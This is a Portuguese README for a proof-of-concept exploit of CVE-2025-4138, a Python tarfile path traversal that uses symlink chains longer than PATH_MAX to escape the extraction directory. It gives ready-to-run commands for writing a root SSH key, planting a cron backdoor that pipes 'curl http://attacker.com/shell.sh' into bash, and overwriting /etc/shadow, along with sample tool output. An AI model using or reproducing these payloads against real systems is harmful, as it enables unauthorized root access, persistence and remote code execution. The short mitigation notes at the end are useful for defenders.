
PoC em Python para CVE-2025-4138, um path traversal no módulo tarfile do Python que abusa de cadeias de symlinks para contornar PATH_MAX e permitir escrita arbitrária de arquivos.
tarfile do PythonAutor: d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
Um exploit de prova de conceito para CVE-2025-4138, uma vulnerabilidade de path traversal no módulo tarfile do Python. A vulnerabilidade permite que um invasor crie um arquivo tar malicioso que escreve arquivos em locais arbitrários fora do diretório de extração pretendido, abusando de cadeias de symlinks para exceder PATH_MAX.
O exploit opera em quatro estágios:
Inflação de Caminho -- Uma cadeia de diretórios profundamente aninhados e symlinks é construída de modo que o caminho totalmente resolvido exceda o limite PATH_MAX do kernel (4096 bytes no Linux).
Symlink Pivô -- Um symlink é adicionado cujo caminho resolvido cruza o limite de PATH_MAX. Como o caminho é longo demais para ser resolvido, as verificações de segurança do tarfile do Python (que dependem de os.path.realpath()) falham silenciosamente e pulam a validação.
Symlink de Escape -- Um segundo symlink usa ../ para atravessar através do pivô, saindo completamente do diretório de extração e apontando para um caminho absoluto controlado pelo invasor no sistema de arquivos.
Drop do Payload -- Um arquivo regular é escrito através do symlink de escape, pousando no caminho alvo com conteúdo e permissões controlados pelo invasor.
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
Nenhuma dependência externa é necessária -- o exploit utiliza apenas módulos da biblioteca padrão do Python 3.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
Escrever uma chave pública SSH no authorized_keys do root:
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
Escrever um cron job para persistência:
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
Escrever conteúdo de arquivo arbitrário a partir de um arquivo local:
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter (Python 3.12+) que fornece controles de extração mais rigorosos.--strip-components ou valide o conteúdo do arquivo antes da extração.fs.protected_symlinks).Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido. Sempre obtenha autorização por escrito adequada antes de testar sistemas que você não possui.
Este projeto está licenciado sob a Licença MIT.
d3vn0mi | GitHub
| Campo | Valor |
|---|
| CVE ID | CVE-2025-4138 |
| Componente | Módulo tarfile do Python |
| Tipo | Path Traversal (CWE-22) |
| Vetor | Cadeia de symlinks + bypass do PATH_MAX |
| Impacto | Escrita arbitrária de arquivos fora do diretório de extração |
| Opção | Descrição |
|---|
-o, --output | Caminho do tarball de saída (padrão: exploit.tar) |
-t, --target | Caminho absoluto do arquivo a ser escrito no alvo (padrão: /root/.ssh/authorized_keys) |
-p, --payload | Caminho para um arquivo cujo conteúdo se torna o payload |
-s, --payload-string | Usar uma string literal como payload |
-k, --ssh-key | Caminho para um arquivo de chave pública SSH |
-m, --mode | Modo de permissão do arquivo em octal (padrão: 0600) |
-d, --depth | Profundidade de traversal de diretório (padrão: 8) |
-v, --verify | Exibir conteúdo do tarball após a criação |
-q, --quiet | Suprimir o banner |